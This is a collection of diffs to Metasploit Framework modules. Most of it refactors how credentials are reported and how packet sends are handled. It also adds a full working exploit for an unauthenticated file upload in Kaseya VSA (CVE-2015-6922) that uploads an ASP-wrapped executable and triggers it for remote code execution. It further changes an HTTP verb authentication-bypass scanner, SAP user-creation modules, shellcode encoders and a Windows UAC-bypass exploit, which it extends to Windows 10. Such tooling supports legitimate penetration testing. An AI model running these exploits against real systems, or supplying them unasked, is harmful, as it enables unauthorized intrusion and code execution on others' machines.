class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
@ -21,14 +20,13 @@ class Metasploit3 < Msf::Auxiliary
'Name' => 'HTTP Verb Authentication Bypass Scanner', 'Name' => 'HTTP Verb Authentication Bypass Scanner',
'Description' => %q{ 'Description' => %q{
This module test for authentication bypass using different HTTP verbs. This module test for authentication bypass using different HTTP verbs.
}, },
'Author' => [ 'et [at] metasploit.com' ], 'Author' => ['et [at] metasploit.com'],
'License' => BSD_LICENSE)) 'License' => BSD_LICENSE))
register_options( register_options(
[ [
OptString.new('PATH', [ true, "The path to test", '/']) OptString.new('TARGETURI', [true, "The path to test", '/'])
], self.class) ], self.class)
end end
@ -44,20 +42,20 @@ class Metasploit3 < Msf::Auxiliary
verbs = [ 'HEAD', 'TRACE', 'TRACK', 'Wmap', 'get', 'trace' ] verbs = [ 'HEAD', 'TRACE', 'TRACK', 'Wmap', 'get', 'trace' ]
res = send_request_raw({ res = send_request_raw({
'uri' => normalize_uri(datastore['PATH']), 'uri' => normalize_uri(target_uri.path),
'method' => 'GET' 'method' => 'GET'
}, 10) }, 10)
return if not res return if not res
if not res.headers['WWW-Authenticate'] if not res.headers['WWW-Authenticate']
print_status("[#{ip}] Authentication not required. #{datastore['PATH']} #{res.code}") print_status("#{full_uri} - Authentication not required [#{res.code}]")
return return
end end
auth_code = res.code auth_code = res.code
print_status("#{ip} requires authentication: #{res.headers['WWW-Authenticate']} [#{auth_code}]") print_status("#{full_uri} - Authentication required: #{res.headers['WWW-Authenticate']} [#{auth_code}]")
report_note( report_note(
:host => ip, :host => ip,
@ -65,22 +63,22 @@ class Metasploit3 < Msf::Auxiliary
:sname => (ssl ? 'https' : 'http'), :sname => (ssl ? 'https' : 'http'),
:port => rport, :port => rport,
:type => 'WWW_AUTHENTICATE', :type => 'WWW_AUTHENTICATE',
:data => "#{datastore['PATH']} Realm: #{res.headers['WWW-Authenticate']}", :data => "#{target_uri.path} Realm: #{res.headers['WWW-Authenticate']}",
:update => :unique_data :update => :unique_data
) )
verbs.each do |tv| verbs.each do |tv|
resauth = send_request_raw({ resauth = send_request_raw({
'uri' => normalize_uri(datastore['PATH']), 'uri' => normalize_uri(target_uri.path),
'method' => tv 'method' => tv
}, 10) }, 10)
next if not resauth next if not resauth
print_status("Testing verb #{tv}, resp code: [#{resauth.code}]") print_status("#{full_uri} - Testing verb #{tv} [#{resauth.code}]")
if resauth.code != auth_code and resauth.code <= 302 if resauth.code != auth_code and resauth.code <= 302
print_status("Possible authentication bypass with verb #{tv} code #{resauth.code}") print_good("#{full_uri} - Possible authentication bypass with verb #{tv} [#{resauth.code}]")
# Unable to use report_web_vuln as method is not in list of allowed methods. # Unable to use report_web_vuln as method is not in list of allowed methods.
@ -90,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary
:sname => (ssl ? 'https' : 'http'), :sname => (ssl ? 'https' : 'http'),
:port => rport, :port => rport,
:type => 'AUTH_BYPASS_VERB', :type => 'AUTH_BYPASS_VERB',
:data => "#{datastore['PATH']} Verb: #{tv}", :data => "#{target_uri.path} Verb: #{tv}",
:update => :unique_data :update => :unique_data
) )
end end
@ -98,4 +96,3 @@ class Metasploit3 < Msf::Auxiliary
end end
end end

View File

@ -69,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary
probe = buildprobe(shost, sport, ip, rport) probe = buildprobe(shost, sport, ip, rport)
capture_sendto(probe, ip) next unless capture_sendto(probe, ip)
reply = probereply(pcap, to) reply = probereply(pcap, to)

View File

@ -33,6 +33,33 @@ class Metasploit3 < Msf::Auxiliary
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def do_login(user=nil,pass=nil) def do_login(user=nil,pass=nil)
post_data = "username=#{Rex::Text.uri_encode(user.to_s)}&password=#{Rex::Text.uri_encode(pass.to_s)}&RedirectTo=%2Fnames.nsf" post_data = "username=#{Rex::Text.uri_encode(user.to_s)}&password=#{Rex::Text.uri_encode(pass.to_s)}&RedirectTo=%2Fnames.nsf"
vprint_status("http://#{vhost}:#{rport} - Lotus Domino - Trying username:'#{user}' with password:'#{pass}'") vprint_status("http://#{vhost}:#{rport} - Lotus Domino - Trying username:'#{user}' with password:'#{pass}'")
@ -48,15 +75,13 @@ class Metasploit3 < Msf::Auxiliary
if res and res.code == 302 if res and res.code == 302
if res.get_cookies.match(/DomAuthSessId=(.*);(.*)/i) if res.get_cookies.match(/DomAuthSessId=(.*);(.*)/i)
print_good("http://#{vhost}:#{rport} - Lotus Domino - SUCCESSFUL login for '#{user}' : '#{pass}'") print_good("http://#{vhost}:#{rport} - Lotus Domino - SUCCESSFUL login for '#{user}' : '#{pass}'")
report_auth_info( report_cred(
:host => rhost, ip: rhost,
:port => rport, port: rport,
:sname => (ssl ? "https" : "http"), service_name: (ssl ? "https" : "http"),
:user => user, user: user,
:pass => pass, password: pass,
:proof => "WEBAPP=\"Lotus Domino\", VHOST=#{vhost}, COOKIE=#{res.get_cookies}", proof: "WEBAPP=\"Lotus Domino\", VHOST=#{vhost}, COOKIE=#{res.get_cookies}"
:source_type => "user_supplied",
:active => true
) )
return :next_user return :next_user
end end

View File

@ -200,18 +200,44 @@ class Metasploit3 < Msf::Auxiliary
user_active = true user_active = true
end end
report_auth_info({ report_cred(
:host => rhost, ip: rhost,
:port => rport, port: rport,
:sname => 'dvr', service_name: 'dvr',
:duplicate_ok => false, user: user,
:user => user, password: password,
:pass => password, service_name: 'http',
:active => user_active proof: "user_id: #{user_id}, active: #{active}"
}) )
} }
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run_host(ip) def run_host(ip)
res = send_request_cgi({ res = send_request_cgi({

View File

@ -231,18 +231,46 @@ class Metasploit3 < Msf::Auxiliary
) )
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def report_isqlauth_info(ip,user,pass,sid) def report_isqlauth_info(ip,user,pass,sid)
ora_info = { ora_info = {
:host => ip, :port => rport, :proto => "tcp", ip: ip,
:pass => pass, :source_type => "user_supplied", port: rport,
:active => true password: pass,
proof: sid.inspect,
service_name: 'tcp'
} }
if sid.nil? || sid.empty? if sid.nil? || sid.empty?
ora_info.merge! :user => user ora_info.merge! :user => user
else else
ora_info.merge! :user => "#{sid}/#{user}" ora_info.merge! :user => "#{sid}/#{user}"
end end
report_auth_info(ora_info) report_cred(ora_info)
end end
end end

View File

@ -138,6 +138,32 @@ class Metasploit3 < Msf::Auxiliary
m[1,2] m[1,2]
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: opts[:status],
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def parse_script_output(addr,port,output) def parse_script_output(addr,port,output)
msg = "#{addr}:#{port} - Oracle -" msg = "#{addr}:#{port} - Oracle -"
@oracle_reported = false @oracle_reported = false
@ -156,10 +182,13 @@ class Metasploit3 < Msf::Auxiliary
user,pass = extract_creds(oline) user,pass = extract_creds(oline)
pass = "" if pass == "<empty>" pass = "" if pass == "<empty>"
print_good "#{msg} Success: #{user}:#{pass} (SID: #{sid})" print_good "#{msg} Success: #{user}:#{pass} (SID: #{sid})"
report_auth_info( report_cred(
:host => addr, :port => port, :proto => "tcp", ip: addr,
:user => "#{sid}/#{user}", :pass => pass, port: port,
:source_type => "user_supplied", :active => true user: "#{sid}/#{user}",
password: pass,
service_name: 'tcp',
status: Metasploit::Model::Login::Status::SUCCESSFUL
) )
elsif oline =~ /Account locked/ elsif oline =~ /Account locked/
if not @oracle_reported if not @oracle_reported
@ -169,10 +198,12 @@ class Metasploit3 < Msf::Auxiliary
end end
user = extract_creds(oline)[0] user = extract_creds(oline)[0]
print_status "#{msg} Locked: #{user} (SID: #{sid}) -- account valid but locked" print_status "#{msg} Locked: #{user} (SID: #{sid}) -- account valid but locked"
report_auth_info( report_cred(
:host => addr, :port => port, :proto => "tcp", ip: addr,
:user => "#{sid}/#{user}", port: port,
:source_type => "user_supplied", :active => false user: "#{sid}/#{user}",
service_name: 'tcp',
status: Metasploit::Model::Login::Status::DENIED_ACCESS
) )
elsif oline =~ /^\s+ERROR: (.*)/ elsif oline =~ /^\s+ERROR: (.*)/
print_error "#{msg} NSE script error: #{$1}" print_error "#{msg} NSE script error: #{$1}"

View File

@ -55,9 +55,11 @@ class Metasploit3 < Msf::Auxiliary
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
# we copy the hosts because some may not be reachable and need to be ejected
host_queue = hosts.dup
# Spread the load across the hosts # Spread the load across the hosts
ports.each do |dport| ports.each do |dport|
hosts.each do |dhost| host_queue.each do |dhost|
shost, sport = getsource(dhost) shost, sport = getsource(dhost)
pcap.setfilter(getfilter(shost, sport, dhost, dport)) pcap.setfilter(getfilter(shost, sport, dhost, dport))
@ -65,7 +67,10 @@ class Metasploit3 < Msf::Auxiliary
begin begin
probe = buildprobe(shost, sport, dhost, dport) probe = buildprobe(shost, sport, dhost, dport)
capture_sendto(probe, dhost) unless capture_sendto(probe, dhost)
host_queue.delete(dhost)
next
end
reply = probereply(pcap, to) reply = probereply(pcap, to)

View File

@ -53,9 +53,11 @@ class Metasploit3 < Msf::Auxiliary
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
# we copy the hosts because some may not be reachable and need to be ejected
host_queue = hosts.dup
# Spread the load across the hosts # Spread the load across the hosts
ports.each do |dport| ports.each do |dport|
hosts.each do |dhost| host_queue.each do |dhost|
shost, sport = getsource(dhost) shost, sport = getsource(dhost)
self.capture.setfilter(getfilter(shost, sport, dhost, dport)) self.capture.setfilter(getfilter(shost, sport, dhost, dport))
@ -63,7 +65,10 @@ class Metasploit3 < Msf::Auxiliary
begin begin
probe = buildprobe(shost, sport, dhost, dport) probe = buildprobe(shost, sport, dhost, dport)
capture_sendto(probe, dhost) unless capture_sendto(probe, dhost)
host_queue.delete(dhost)
next
end
reply = probereply(self.capture, to) reply = probereply(self.capture, to)

View File

@ -55,9 +55,11 @@ class Metasploit3 < Msf::Auxiliary
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
# we copy the hosts because some may not be reachable and need to be ejected
host_queue = hosts.dup
# Spread the load across the hosts # Spread the load across the hosts
ports.each do |dport| ports.each do |dport|
hosts.each do |dhost| host_queue.each do |dhost|
shost, sport = getsource(dhost) shost, sport = getsource(dhost)
pcap.setfilter(getfilter(shost, sport, dhost, dport)) pcap.setfilter(getfilter(shost, sport, dhost, dport))
@ -65,7 +67,10 @@ class Metasploit3 < Msf::Auxiliary
begin begin
probe = buildprobe(shost, sport, dhost, dport) probe = buildprobe(shost, sport, dhost, dport)
capture_sendto(probe, dhost) unless capture_sendto(probe, dhost)
host_queue.delete(dhost)
next
end
reply = probereply(pcap, to) reply = probereply(pcap, to)

View File

@ -50,6 +50,32 @@ class Metasploit3 < Msf::Auxiliary
datastore['RPORT'] datastore['RPORT']
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def do_fingerprint(user=nil,pass=nil,database=nil) def do_fingerprint(user=nil,pass=nil,database=nil)
begin begin
msg = "#{rhost}:#{rport} Postgres -" msg = "#{rhost}:#{rport} Postgres -"
@ -79,13 +105,13 @@ class Metasploit3 < Msf::Auxiliary
) )
if self.postgres_conn if self.postgres_conn
report_auth_info( report_cred(
:host => rhost, ip: rhost,
:port => rport, port: rport,
:sname => "postgres", service_name: 'postgres',
:user => user, user: user,
:pass => password, password: password,
:active => true proof: "postgres_conn = #{self.postgres_conn.inspect}"
) )
end end

View File

@ -43,9 +43,7 @@ class Metasploit3 < Msf::Auxiliary
pcap = self.capture pcap = self.capture
capture_sendto(build_tcp_syn(ip), ip) capture_sendto(build_tcp_syn(ip), ip) and capture_sendto(build_icmp(ip), ip)
capture_sendto(build_icmp(ip), ip)
close_pcap close_pcap
end end

View File

@ -220,6 +220,31 @@ class Metasploit3 < Msf::Auxiliary
[ sd, lport ] [ sd, lport ]
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def start_rsh_session(host, port, user, luser, proof, stderr_sock) def start_rsh_session(host, port, user, luser, proof, stderr_sock)
report_auth_info( report_auth_info(

View File

@ -68,22 +68,49 @@ class Metasploit4 < Msf::Auxiliary
vprint_status("#{rhost}:#{rport} - Adding User to Group...") vprint_status("#{rhost}:#{rport} - Adding User to Group...")
uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME=' + datastore['USERNAME'] + ',GROUPNAME=' + datastore['GROUP'] uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME=' + datastore['USERNAME'] + ',GROUPNAME=' + datastore['GROUP']
if send_request(uri) res = send_request(uri)
if res
print_good("#{rhost}:#{rport} - User #{datastore['USERNAME']} added to group #{datastore['GROUP']}") print_good("#{rhost}:#{rport} - User #{datastore['USERNAME']} added to group #{datastore['GROUP']}")
else else
return return
end end
report_auth_info( report_cred(
:host => rhost, ip: rhost,
:port => rport, port: rport,
:user => datastore['USERNAME'], service_name: 'sap',
:pass => datastore['PASSWORD'], user: datastore['USERNAME'],
:ptype => "password", pass: datastore['PASSWORD'],
:active => true proof: res.body
) )
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def send_request(uri) def send_request(uri)
begin begin
res = send_request_cgi({ res = send_request_cgi({

View File

@ -61,6 +61,32 @@ class Metasploit4 < Msf::Auxiliary
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def enum_user(user, pass, uri) def enum_user(user, pass, uri)
# Replace placeholder with SAP SID, if present # Replace placeholder with SAP SID, if present
@ -140,16 +166,13 @@ class Metasploit4 < Msf::Auxiliary
vprint_error("#{peer} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls") vprint_error("#{peer} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls")
end end
report_auth_info( report_cred(
:host => rhost, ip: rhost,
:sname => 'sap-managementconsole', port: port,
:proto => 'tcp', user: user,
:port => rport, password: pass,
:user => user, service_name: 'sap-managementconsole',
:pass => pass, proof: res.body
:source_type => "user_supplied",
:target_host => rhost,
:target_port => rport
) )
else else
vprint_error("#{peer} [SAP] failed to login as '#{user}':'#{pass}'") vprint_error("#{peer} [SAP] failed to login as '#{user}':'#{pass}'")

View File

@ -124,7 +124,7 @@ class Metasploit4 < Msf::Auxiliary
return return
else else
print_good("[SAP] #{ip}:#{rport} - User '#{datastore['BAPI_USER']}' with password '#{datastore['BAPI_PASSWORD']}' created") print_good("[SAP] #{ip}:#{rport} - User '#{datastore['BAPI_USER']}' with password '#{datastore['BAPI_PASSWORD']}' created")
report_auth_info( report_auth(
ip: ip, ip: ip,
port: rport, port: rport,
service_name: 'sap', service_name: 'sap',

View File

@ -31,6 +31,7 @@ class Metasploit3 < Msf::Encoder::Alphanum
# being encoded. # being encoded.
# #
def decoder_stub(state) def decoder_stub(state)
modified_registers = []
reg = datastore['BufferRegister'] reg = datastore['BufferRegister']
off = (datastore['BufferOffset'] || 0).to_i off = (datastore['BufferOffset'] || 0).to_i
buf = '' buf = ''
@ -41,8 +42,19 @@ class Metasploit3 < Msf::Encoder::Alphanum
buf = 'VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089' buf = 'VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089'
reg = 'ECX' reg = 'ECX'
off = 0 off = 0
modified_registers.concat (
[
Rex::Arch::X86::ESP,
Rex::Arch::X86::EDI,
Rex::Arch::X86::ESI,
Rex::Arch::X86::EBP,
Rex::Arch::X86::EBX,
Rex::Arch::X86::EDX,
Rex::Arch::X86::ECX,
Rex::Arch::X86::EAX
])
else else
res = Rex::Arch::X86.geteip_fpu(state.badchars) res = Rex::Arch::X86.geteip_fpu(state.badchars, modified_registers)
if (not res) if (not res)
raise EncodingError, "Unable to generate geteip code" raise EncodingError, "Unable to generate geteip code"
end end
@ -52,7 +64,15 @@ class Metasploit3 < Msf::Encoder::Alphanum
reg.upcase! reg.upcase!
end end
buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off) stub = buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off, modified_registers)
# Sanity check that saved_registers doesn't overlap with modified_registers
modified_registers.uniq!
if (modified_registers & saved_registers).length > 0
raise BadGenerateError
end
stub
end end
# #
@ -69,4 +89,14 @@ class Metasploit3 < Msf::Encoder::Alphanum
def encode_end(state) def encode_end(state)
state.encoded += Rex::Encoder::Alpha2::AlphaMixed::add_terminator() state.encoded += Rex::Encoder::Alpha2::AlphaMixed::add_terminator()
end end
# Indicate that this module can preserve some registers
def can_preserve_registers?
true
end
# Convert the SaveRegisters to an array of x86 register constants
def saved_registers
Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters'])
end
end end

View File

@ -34,6 +34,7 @@ class Metasploit3 < Msf::Encoder::Alphanum
# being encoded. # being encoded.
# #
def decoder_stub(state) def decoder_stub(state)
modified_registers = []
reg = datastore['BufferRegister'] reg = datastore['BufferRegister']
off = (datastore['BufferOffset'] || 0).to_i off = (datastore['BufferOffset'] || 0).to_i
buf = '' buf = ''
@ -44,8 +45,15 @@ class Metasploit3 < Msf::Encoder::Alphanum
buf = 'VTX630WTX638VXH49HHHPVX5AAQQPVX5YYYYP5YYYD5KKYAPTTX638TDDNVDDX4Z4A63861816' buf = 'VTX630WTX638VXH49HHHPVX5AAQQPVX5YYYYP5YYYD5KKYAPTTX638TDDNVDDX4Z4A63861816'
reg = 'ECX' reg = 'ECX'
off = 0 off = 0
modified_registers.concat (
[
Rex::Arch::X86::ESP,
Rex::Arch::X86::EDI,
Rex::Arch::X86::ESI,
Rex::Arch::X86::EAX
])
else else
res = Rex::Arch::X86.geteip_fpu(state.badchars) res = Rex::Arch::X86.geteip_fpu(state.badchars, modified_registers)
if (not res) if (not res)
raise EncodingError, "Unable to generate geteip code" raise EncodingError, "Unable to generate geteip code"
end end
@ -55,7 +63,15 @@ class Metasploit3 < Msf::Encoder::Alphanum
reg.upcase! reg.upcase!
end end
buf + Rex::Encoder::Alpha2::AlphaUpper::gen_decoder(reg, off) stub = buf + Rex::Encoder::Alpha2::AlphaUpper::gen_decoder(reg, off, modified_registers)
# Sanity check that saved_registers doesn't overlap with modified_registers
modified_registers.uniq!
if (modified_registers & saved_registers).length > 0
raise BadGenerateError
end
stub
end end
# #
@ -72,4 +88,14 @@ class Metasploit3 < Msf::Encoder::Alphanum
def encode_end(state) def encode_end(state)
state.encoded += Rex::Encoder::Alpha2::AlphaUpper::add_terminator() state.encoded += Rex::Encoder::Alpha2::AlphaUpper::add_terminator()
end end
# Indicate that this module can preserve some registers
def can_preserve_registers?
true
end
# Convert the SaveRegisters to an array of x86 register constants
def saved_registers
Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters'])
end
end end

View File

@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote
'BadChars' => '', 'BadChars' => '',
'DisableNops' => true, 'DisableNops' => true,
}, },
'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win }, 'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win mainframe },
'Arch' => ARCH_ALL, 'Arch' => ARCH_ALL,
'Targets' => [ [ 'Wildcard Target', { } ] ], 'Targets' => [ [ 'Wildcard Target', { } ] ],
'DefaultTarget' => 0 'DefaultTarget' => 0

View File

@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("#{rhost}:#{rport} Sending crafted SMB packet from #{shost}...") print_status("#{rhost}:#{rport} Sending crafted SMB packet from #{shost}...")
capture_sendto(p, rhost) return unless capture_sendto(p, rhost)
handler handler
end end

View File

@ -31,7 +31,8 @@ class Metasploit3 < Msf::Exploit::Remote
'References' => 'References' =>
[ [
['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'], ['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],
['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi'] ['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi'],
['CVE', '2015-2342']
], ],
'Platform' => 'java', 'Platform' => 'java',
'Arch' => ARCH_JAVA, 'Arch' => ARCH_JAVA,

View File

@ -204,10 +204,10 @@ class Metasploit3 < Msf::Exploit::Remote
p.payload = sploit p.payload = sploit
p.recalc p.recalc
capture_sendto(p, rhost) sent = capture_sendto(p, rhost)
close_pcap close_pcap
handler handler if sent
else else
print_status("Sending malformed LWRES packet to #{rhost}") print_status("Sending malformed LWRES packet to #{rhost}")
connect_udp connect_udp

View File

@ -215,7 +215,7 @@ class Metasploit3 < Msf::Exploit::Remote
while true while true
break if session_created? and datastore['ExitOnSession'] break if session_created? and datastore['ExitOnSession']
capture_sendto(p, rhost) break unless capture_sendto(p, rhost)
select(nil,nil,nil,datastore['DELAY']) select(nil,nil,nil,datastore['DELAY'])
end end

View File

@ -397,6 +397,33 @@ class Metasploit3 < Msf::Exploit::Remote
create_credential_login(login_data) create_credential_login(login_data)
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :nonreplayable_hash,
jtr_format: 'md5,raw-md5'
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def exploit def exploit
print_status("#{peer} - Checking for a valid node id...") print_status("#{peer} - Checking for a valid node id...")
node_id = get_node node_id = get_node
@ -417,6 +444,14 @@ class Metasploit3 < Msf::Exploit::Remote
for i in 0..count_users - 1 for i in 0..count_users - 1
user = get_user_data(node_id, i) user = get_user_data(node_id, i)
report_cred(
ip: rhost,
port: rport,
user: user[0],
password: user[1],
service_name: (ssl ? "https" : "http"),
proof: "salt: #{user[2]}"
)
report_auth_info({ report_auth_info({
:host => rhost, :host => rhost,
:port => rport, :port => rport,

View File

@ -0,0 +1,132 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Kaseya VSA uploader.aspx Arbitrary File Upload',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions
between 7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary
directory leading to arbitrary code execution with IUSR privileges. This module has been
tested with Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-6922'],
['ZDI', '15-449'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'],
['URL', 'http://seclists.org/bugtraq/2015/Sep/132']
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Privileged' => false,
'Targets' =>
[
[ 'Kaseya VSA v7 to v9.1', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 23 2015'))
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('ConfigTab','uploader.aspx')
})
if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end
def upload_file(payload, path, filename, session_id)
print_status("#{peer} - Uploading payload to #{path}...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('ConfigTab', 'uploader.aspx'),
'vars_get' => {
'PathData' => path,
'qqfile' => filename
},
'data' => payload,
'ctype' => 'application/octet-stream',
'cookie' => 'sessionId=' + session_id
})
if res && res.code == 200 && res.body && res.body.to_s.include?('"success": "true"')
return true
else
return false
end
end
def exploit
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('ConfigTab','uploader.aspx')
})
if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
session_id = $1
else
fail_with(Failure::NoAccess, "#{peer} - Failed to create a valid session")
end
asp_name = "#{rand_text_alpha_lower(8)}.asp"
exe = generate_payload_exe
payload = Msf::Util::EXE.to_exe_asp(exe).to_s
paths = [
# We have to guess the path, so just try the most common directories
'C:\\Kaseya\\WebPages\\',
'C:\\Program Files\\Kaseya\\WebPages\\',
'C:\\Program Files (x86)\\Kaseya\\WebPages\\',
'D:\\Kaseya\\WebPages\\',
'D:\\Program Files\\Kaseya\\WebPages\\',
'D:\\Program Files (x86)\\Kaseya\\WebPages\\',
'E:\\Kaseya\\WebPages\\',
'E:\\Program Files\\Kaseya\\WebPages\\',
'E:\\Program Files (x86)\\Kaseya\\WebPages\\',
]
paths.each do |path|
if upload_file(payload, path, asp_name, session_id)
register_files_for_cleanup(path + asp_name)
print_status("#{peer} - Executing payload #{asp_name}")
send_request_cgi({
'uri' => normalize_uri(asp_name),
'method' => 'GET'
})
# Failure. The request timed out or the server went away.
break if res.nil?
# Success! Triggered the payload, should have a shell incoming
break if res.code == 200
end
end
end
end

View File

@ -197,7 +197,7 @@ class Metasploit3 < Msf::Exploit::Local
winver = sysinfo['OS'] winver = sysinfo['OS']
case winver case winver
when /Windows (7|8|2008|2012)/ when /Windows (7|8|2008|2012|10)/
print_good("#{winver} may be vulnerable.") print_good("#{winver} may be vulnerable.")
else else
fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.") fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
@ -221,7 +221,7 @@ class Metasploit3 < Msf::Exploit::Local
paths[:szElevDir] = "#{win_path}\\System32\\sysprep" paths[:szElevDir] = "#{win_path}\\System32\\sysprep"
paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep" paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep"
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe" paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe"
when /Windows (8|2012)/ when /Windows (8|2012|10)/
paths[:szElevDll] = 'NTWDBLIB.dll' paths[:szElevDll] = 'NTWDBLIB.dll'
paths[:szElevDir] = "#{win_path}\\System32" paths[:szElevDir] = "#{win_path}\\System32"
# This should be fine to be left blank # This should be fine to be left blank

View File

